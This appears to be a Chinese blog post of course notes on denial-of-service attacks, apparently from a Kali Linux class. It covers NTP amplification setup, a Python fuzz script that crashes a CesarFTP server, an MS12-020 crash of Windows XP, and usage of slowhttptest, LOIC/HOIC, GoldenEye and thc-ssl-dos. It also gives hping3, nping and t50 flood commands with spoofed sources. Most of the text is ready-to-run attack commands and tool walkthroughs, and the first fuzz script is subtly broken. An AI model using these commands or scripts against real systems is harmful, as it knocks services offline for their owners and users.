通过wireshark抓包发现发送的数据包围97字节,收到的为1433字节,当倍数设置为100时,放大了14倍,还可以设置为更高!

NTP放大攻击

原理。。。和上面两个一样,对配置不当的服务器做出时间查询时,会返回最近600个查询记录。(大于放大100倍)
先配置ntp:

1
apt-get install ntp

通过nmap扫描发现的确有且开放了NTP服务,但是需要的查询命令却不能生效(查询超时),因为新版默认已经禁用了此,实验需要,可以如图设置,激活:

1
2
3
4
vim /etc/ntp.conf
ntpdc -n -c monlist 1.1.1.1
ntpq -c rv 192.168.163.143
ntpdc -c sysinfo 192.168.163.143

因为才安装,并没有600条记录可以返回,只有三条。

这还可以查NTP配置的一些信息!

这里使用的方法需要有大量的放大主机,可通过网络扫描发现

应用漏洞


D应用:应用服务漏洞|缓冲区溢出漏洞
说明:
1,代码存在漏洞,遇异常提交数据是程序崩溃
2,应用处理大量并发请求能力有限,被拒绝的是应用或OS
3,向目标函数随机提交数据,特定情况下数据覆盖临近寄存器或内存
影响:远程代码执行,DoS
发现:利用模糊测试的方法发现缓冲区溢出漏洞

CesarFTP 0.99服务崩溃

这个版本的软件存在漏洞,百度一下就可以下载,安装后先添加一个账户,这里直接添加了匿名账户,然后点那个红绿灯(汗)去开启服务

这时手动去测试,连接客户端输入大量的a发现有命令行溢出,但是不影响其他用户。。。。

下面是苑老师的脚本,来做模糊测试的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/python
# -*- coding: utf-8 -*-

import socket
import sys

if len(sys.argv) !=6:
print "用法: ./ftp_fuzz.py [目标IP] [目标端口] [载荷] [步长] [最大长度]"
print "举例: ./ftp_fuzz.py 192.168.0.1 21 A 100 1000"
sys.exit()

ip=str(sys.argv[1])
port=int(sys.argv[2])
char=sys.argv[3]
i=int(sys.argv[4])
step=int(sys.argv[4])
max=int(sys.argv[5])
user=raw_input(str("FTP账号:"))
passwd=raw_input(str("FTP密码:"))
command=raw_input(str("FTP命令:"))
while i<=max:
try:
payload=command+" "+('char'*i)
print "已发送"+str(i)+"个("+char+")"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((ip,port))
s.recv(1024)
s.send('USER '+user+'\r\n')
s.recv(1024)
s.send('PASS '+passwd+'\r\n')
s.recv(1024)
s.send(payload+'\r\n')
s.send('QUIT\r\n')
s.recv(1024)
s.close()
i=i+step
except:
print "目标已崩溃"
sys.exit()
print "\n未发现缓冲区溢出漏洞"

多次测试还是只发现了命令行溢出,揭开谜底,是rmd命令使用’\n’换行字符出错,下面是修改后的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/python
# -*- coding: utf-8 -*-

import socket
import sys

if len(sys.argv) !=5:
print "用法: ./ftp_fuzz.py [目标IP] [目标端口] [步长] [最大长度]"
print "举例: ./ftp_fuzz.py 192.168.0.1 21 100 1000"
sys.exit()

ip=str(sys.argv[1])
port=int(sys.argv[2])
i=int(sys.argv[3])
step=int(sys.argv[3])
max=int(sys.argv[4])
passwd=raw_input(str("FTP密码:"))
user="anonymous"
command="RMD"
while i<=max:
try:
payload=command+" "+('\n'*i)
print "已发送"+str(i)+"个(换行)"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((ip,port))
s.recv(1024)
s.send('USER '+user+'\r\n')
s.recv(1024)
s.send('PASS '+passwd+'\r\n')
s.recv(1024)
s.send(payload+'\r\n')
s.send('QUIT\r\n')
s.recv(1024)
s.close()
i=i+step
except:
print "目标已崩溃"
sys.exit()
print "\n未发现缓冲区溢出漏洞"

看到程序已经崩溃。。。

MS12-020漏洞-系统崩溃

微软系统的一个漏洞(靶机使用windows xp),当目标开启3389(远程桌面)端口时,进行攻击:
先搜索利用代码:

打开后,找到网址,下载一个文件:

任选一个下载。然后执行下面命令,目标系统就会崩溃重启(一次不成功就多试几次。。。)

当然,这两个典型案例只是说明下这两种漏洞在dos中的作用。。。

slowhttptest


D应用:slowhttptest

低带宽应用层慢速DoS攻击(相对于CC等快速攻击而言的慢速)
最早由Python编写,跨平台支持(Linux,windows,cygwin,osx)
尤其擅长攻击tomcat(几乎百发百中),Apache。(所以几乎对window的IIS无效)

原理:耗尽应用的并发连接池,类似于http层的syn-flood,因为http协议默认在服务器全部接受请求后才开始处理,若客户端发送速度缓慢或不完整,服务器时钟为其保留连接资源池占用,此类大量并发将导致DoS
实现方式:

slowloris:完整的http请求结尾是\r\n\r\n攻击发的是\r\n,这样服务器就会认为接收数据不完全而一直等待。
slow http post:http头content-length声明一个较大长度后,body部分缓慢发送(例如几秒发送一个字节),导致服务器一直等待。
原理:耗尽应用的并发连接池,正常发送请求,慢速读取请求
slow read attack:正常发送请求,通过调整TCP window大小,慢速读取请求,导致服务器一直等待
原理:客户端传输大文件时,体积超过http body大小限制时进行分段,耗尽服务器CPU,内存
Apache range header attack:如原理。。。

说明文档:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
SLOWHTTPTEST(1)           BSD General Commands Manual          SLOWHTTPTEST(1)

NAME
slowhttptest — 拒绝服务攻击模拟器

SYNOPSIS
slowhttptest [-H|B|R|X] [-g] [-a range start] [-b range limit]
[-c number of connections]
[-d all traffic directed through HTTP proxy at host:port]
[-e probe traffic directed through HTTP proxy at host:port]
[-i interval in seconds] [-k request multiply factor]
[-l test duration in seconds]
[-n slow read interval in seconds]
[-o output file path and/or name]
[-p timeout for probe connection in seconds]
[-r connection per second]
[-s value of Content-Length header] [-t HTTP verb]
[-u absolute URL] [-v output verbosity level]
[-w advertised window size range start]
[-x max length of follow up data]
[-y advertised window size range end]
[-z slow read from recieve buffer in bytes]
DESCRIPTION
The slowhttptest implements most common low-bandwidth Application Layer
DoS attacks and produces CSV and HTML files with test statistics.

Currently supported attacks are:

· Slowloris
· Slow HTTP POST
· Apache Range Header
· Slow Read

The options are as follows:

-g 在测试完成后,以时间戳为名生成一个CVS和HTML文件的统计数据

-H SlowLoris模式

-B Slow POST mode模式

-R Range Header mode模式

-X Slow Read mode模式

-a start
在Range Header attack模式,设置range-specifier的起始值

-b bytes
在Range Header attack模式,设置range-specifier的限制值
-c number of connections
指定测试时建立的连接数

-d HTTP proxy host:port
为所有的连接指定代理

-e HTTP proxy host:port
为探测连接指定代理

-i seconds
在slowrois and Slow POST tests模式,指定发送数据间的间隔。

-k pipeline factor
Specifies number of times the resource would be requested per
socket in Slow Read test.

-l seconds
指定测试维持时间

-n seconds
在Slow Read test模式下,指定每次操作的时间间隔。

-o file name
当使用-g参数时,可以使用此参数指定文件名

-p seconds
在探测连接时,指定等待时间来确认DoS攻击已经成功

-r connections per second
指定连接速率,每秒连接个数
-s bytes
在Slow POST test模式,声明Content-Length header的值

-t HTTP verb
在请求时使用什么命令。

-u URL 指定目标

-v level
日志等级(详细度)

-w bytes
Specifies the start of the range the TCP advertised window size
would be picked from in Slow Read test.

-x bytes
在slowloris and Slow POST tests模式中,指定发送的最大数据长度

-y bytes
Specifies the end of the range the TCP advertised window size
would be picked from in Slow Read test.

-z bytes
指定在每次的read()中,从buffer中读取数据量

EXAMPLES(翻译一段,下面的一样)
使用slowloris测试,目标是host.example.com,使用1000个连接,统计数据输出为into my_header_stats,
发送间隔是10秒。连接速率是200个每秒,命令是GET,最大数据长度为24,等待时间为3秒:

$ slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u https://host.example.com/index.html -x 24 -p 3

Start of with 3000 connections, statis‐
tics goes into my_body_stats, interval between follow up headers is 110
seconds, connection rate is 200 connections per second, Content-Length
header value is 8192, maximum length of follow up data is random value
limited by 10 bytes and probe connections waits 3 seconds for HTTP
response before marking server as DoSed:

$ slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://host.example.com/loginform.html -x 10 -p 3

Start Range Header test of host.example.com with 1000 connections, use
HEAD verb, and generate HTTP header Range:0-, x-1, x-2, x-3, ... x-y,
where x is 10 and y is 3000, connection rate is 500: interval between
follow up headers is 10 seconds and connection rate is 200 connections
per second:

$ slowhttptest -R -u http://host.example.com/ -t HEAD -c 1000 -a 10 -b 3000 -r 500

Start Slow Read test of host.example.com with 8000 connections, no sta‐
tistics is generated, connection rate is 200 connections per second, TCP
advertised window size is a random value between 512 and 1024,
slowhttptest reads 32 bytes from each connections every 5 seconds, 3
requests are pipelined per each connections, probe connection waits 3
seconds for HTTP response before marking server as DoSed:

$ slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u https://host.example.com/resources/index.html -p 3

Start Slow Read test of host.example.com through HTTP proxy server at
10.10.0.1:8080 with 8000 connections, no statistics is generated, the
rest test vaules are default. slowhttptest most likely would test HTTP
proxy server itself, rather than target server, but it all depends on the
HTTP proxy server implementation:

$ slowhttptest -d 10.10.0.1:8080 -c 8000 -X -u https://host.example.com/resources/index.html

Start Slow Read test of host.example.com and direct probe traffic through
HTTP proxy server at 10.10.0.1:8080 with 8000 connections, no statistics
is generated, the rest test vaules are default. Specifying another con‐
nection channel for probe connections helps to make sure that
slowhttptest shows valid statistics for availability of server under
test:

$ slowhttptest -e 10.10.0.1:8080 -c 8000 -X -u https://host.example.com/resources/index.html

如示例,这里截图使用第一个示例:

运行时,显示分两部分:

上部是测试的设置选项,包括测试模式,连接数,目标,方式,头长度。。。
下部是当前状态,有多少在队列中,已连接数,错误数,被关闭数,目标状态(NO表示攻击成功)
补充:Linux一切皆文件,而默认文件打开数为1024,所以在需要更多连接数时,需要更改此限制如:ulimit -n 65539

TearDrop


D协议:TearDrop攻击
主要是针对早期微软的操作系统(95,98,3.x,nt,以及2.X的安卓和6.0的iOS)(虽然现在实际用途不大,但是思想还是值得学习的)
原理:
使用ip分段偏移值实现分段覆盖,接收端将不会处理这种数据而导致死机从而实现拒绝服务攻击。
(对于一个大的数据包,他会使用同一个ip id,设置偏移量等,将所有数据接收完成后再重组)
然后就没咯,攻击也没实际意义无法实验

一些工具


低轨离子炮

匿名者的第一个:
需要.net framework4.0,如图,在1里面输入URL或者是ip后点击lock on,再在3里面设置超时,子站,发送的话,端口,协议(TCP/UDP/HTTP)在调节下发送速度,最后点2就开始攻击。

高轨离子炮

匿名者的第二个:
同样需要这种环境,先添加目标,只需要天URL和攻击强度,下面的别选,然后点击添加(可以同时打击多个目标),然后设置下线程数,就可以点红色按钮开始。

X轨离子炮

匿名者的第三个:
支持TCP,UDP,ICMP协议,也是填写ip和端口就好了,最后点击右下角的攻击按钮。(它的停止方式有点奇葩,会在目录下生成批处理命令,需要双击它来结束)

RUDY

黑客军团使用过的:
慢速应用层HTTP POST攻击,与slowhttptest原理相同,每次只传输一个字节的数据,只能攻击带有表单的web页面,攻击时需要指定攻击参数的名称。
一般使用第二种方式,它的目录下有个配置文件,打开后,设置URL(须含有post表单),然后设置连接数,attack_parameter是表单中的任何一个变量(参数)名,下面是代理设置。

Siege

用来做压力测试的,模拟多个用户去访问目标,这是文档,若不理解可以使用man手册!(配置文件也可以通过配置文件了解更多信息)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
SIEGE 3.0.8
Usage: siege [options]
siege [options] URL
siege -g URL
Options:
-V, --version 显示版本信息
-h, --help 显示帮助信息
-C, --config 显示当前配置信息
-v, --verbose 显示详细的信息
-q, --quiet 以静默的方式运行
-g, --get GET, pull down HTTP headers and display the
transaction. Great for application debugging.
-c, --concurrent=NUM 并发数,默认是10
-i, --internet 模拟用户随机访问URL(压力测试模式)
-b, --benchmark 请求之间不延时
-f, --file=FILE 制定一个urls文件
-R, --rc=FILE 指定一个RC文件
-l, --log[=FILE] 指定日志文件,默认是: /var/siege.log
-m, --mark="text" 用一个字符串标记日志文件
-d, --delay=NUM 设置一个数字,在每次请求中,将会在1到这个数字之间随机选择一个时间延迟
-H, --header="text" 添加一个header
-A, --user-agent="text" 设置请求的User-Agent
-T, --content-type="text" 设置请求的Content-Type

例如:

1
siege -i -c 1000 –f /etc/siege/urls.txt


这是测试结果,只要看availablility,其他的可以通过man来查看具体含义。

owasp-dos-http-post

贝塔猫的….
这个工具效果还是不错的,百度下去下载吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
C:\Users\betamao\Desktop>http_dos_cli.exe --help
HTTP load tester for slow headers and slow POST attacks.
Version: 4.0
URL: http://code.google.com/p/owasp-dos-http-post/
Usage:
--host <dns_name_of_webserver>
需要连接的web服务器(只能是域名而非uri),默认是localhost
--port <port number>
连接的端口,默认是80
--proxy <dns_name_of_proxy>
设置代理
--proxy-port <port number>
设置代理端口
--slow-headers
运行slow header攻击
--slow-post
运行slow post攻击
--ssl-renegotiation
运行ssl重协商攻击
--connections <num>
连接数量
--rate <num>
连接速率,若大于1000则会尽可能快的连接。
--timeout <num>
超时时间,默认100秒
--random-timeout
设置一个随机延时,将会在0至这个值之间延时
--path <path>
指定post或者是get的路径,默认是index.html.
--random-path
使用随机路径(上一条设置将失效)
--log-connection <num>
显示连接数据
--user-agent <string>
设置ua头,默认为:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3;
.NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)

slow-headers specific options:
--post
使用post而非get
slow-post攻击选项:
--post-content-length <num>
指定Content-length' 的值,默认:1000000.
--random-post-content-length
这会从1到上一个参数设置的值之间随机选择作为content-length值。
--random-payload
默认是使用‘A’,可设置为随机值
--post-field <string>
If specified, the body of the post attack will start as 'post-field='
then any data will follow. Without this option specified, the data in
the post is sent raw without any prefix.

ssl-renegotiate攻击选项:
--ssl-reconnect-on-failure
如果在服务器上重协商失败,那么在第一次重协商后socket将会关闭,如果使用此参数,那么攻击将继续连接服务器。
--help : 显示帮助信息

例如:

1
C:\Users\betamao\Desktop>http_dos_cli.exe --host 192.168.0.103 --port 80 --slow-headers  --connections 1000

Golden EYE

贝塔猫用的。。
http/https拒绝服务攻击工具,随机攻击向量,可避免缓存命中

1
2
3
4
5
6
7
8
9
USAGE: ./goldeneye.py <url> [OPTIONS]

OPTIONS:
Flag Description Default
-w, --workers workers数量 (default: 50)
-s, --sockets 每个worker的连接数 (default: 30)
-m, --method 请求的方法,支持get,post,random (default: get)
-d, --debug 显示更详细的输出信息 (default: False)
-h, --help 显示帮助信息

例如:

1
./goldeneye.py http://192.168.163.133/mutillidae/ -w 50 -s 20 -d

thc-ssl-dos:

打https的

1
thc-ssl-dos ****.****.****.**** 443 –accept

hping3

几乎可以定制发送任何的TCP/IP数据包,用于测试FW,端口扫描,性能测试
SYN Flood攻击

1
2
3
hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 1.1.1.1
hping3 -S -P -U -p 80 --flood --rand-source 1.1.1.1
hping3 -SARFUP -p 80 --flood --rand-source 1.1.1.1 ?TCP Flood?

ICMP Flood攻击

1
hping3 -q -n -a 1.1.1.1 --icmp -d 56 --flood 1.1.1.2

UDP Flood攻击

1
hping3 -a 1.1.1.1 --udp -s 53 -d 100 -p 53 --flood 1.1.1.2

LAND攻击
特殊种类的SYN Flood攻击
源地址,目的地址都是受害者,受害者与自己完成三次握手

1
hping3 -n -a 1.1.1.1 -S -d 100 -p 80 --flood 1.1.1.1

TCP全连接DoS攻击

1
nping --tcp-connect --rate=10000 -c 1000000000 -q 1.1.1.1

T50网络压力测试

这是一个很强大的压力测试工具,可以做基于各种协议的压力测试,这里就那两个例子出来。

1
2
t50 1.1.1.1 --flood --turbo -S --protocol TCP --dport 80
t50 1.1.1.1 --flood --turbo -S TCP UDP OSPF EIGRP --dport 22

意思为:

1
2
3
4
5
--Flood表示攻击
--turbo 表示最好的表现
-S syn包
--protocol 使用哪种协议做攻击
--dport 目标端口

Nmap:

它自带DoS脚本,信息收集篇记录

来源


安全牛课堂-kali-linux